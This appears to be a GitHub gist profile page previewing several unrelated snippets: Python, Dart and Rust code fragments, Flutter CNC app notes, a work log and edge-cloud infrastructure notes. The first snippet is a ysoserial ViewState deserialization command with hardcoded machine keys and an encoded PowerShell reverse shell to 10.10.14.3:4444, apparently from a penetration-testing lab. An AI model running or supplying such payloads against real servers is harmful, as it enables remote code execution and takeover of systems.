Skip to content

Instantly share code, notes, and snippets.

View KickedDroid's full-sized avatar

KickedDroid

View GitHub Profile
ysoserial.exe -p ViewState -g TextFormattingRunProperties --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio/default.aspx" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMA
import numpy as np
from pathlib import Path
import csv
csvPath = Path("budget_data.csv")
# Get the total amount of profit/loss
total = 0
average = 0
minimum = 0
class History {
final String data;
final DateTime time;
History(this.data, this.time);
History.fromMap(Map<String, dynamic> map)
: data = map['data'],
time = DateTime.parse(map['time']);
}
# June 29th
- CNC App: https://www.youtube.com/watch?v=7UIFmvzp50Y
- rs-bitswap
``rust
use futures::future::join;
use futures::channel::mpsc;
use futures::prelude::*;
use libp2p::core::muxing::StreamMuxerBox;

Flutter CNC App

App to collect and log data about a collection of CNC Machines


Resources

A list a packages and libraries used

Packages

Date: May 18th -> 22nd
Worked on:
- Refactoring all gRPC Streaming methods in rust TxPB. This is due to the fact there are many ways to handle iterators,
sinks and streams in rust and I recently found a better way of doing it.
- Looking into Zero Trust services on kubernetes
- Started planning out how to get a company to use Temporal for backend storage. The company needs to log all information

Hybrid Computing Infrastructure

In order to achieve our plans for CNFS we need to think differently about how the cloud should work. Instead of relying on monolithic datacenters we need to get closer to the source of data and where it's being used.

The stack should be as follows:

  • Cloud Core: Where the datacenters live. Master Nodes, Auth, etc.
  • Edge: This is where the boxes are, on premise, slave nodes.
  • Lite: These are the IOT devices, Clients, Phones, etc, that use the gateways from the Edge and Cloud to access the network.

Questions

  • Should we have bootstrap nodes?

    • Pros: Nodes in guangdong will discover each other faster
    • Cons: One more thing to manage as we need to make sure our bootstrap nodes are running and available
  • Could we have lite peers?

    • Pros: Good for hardware restriced devices
    • Cons: Wouldn't be contributing to the overall network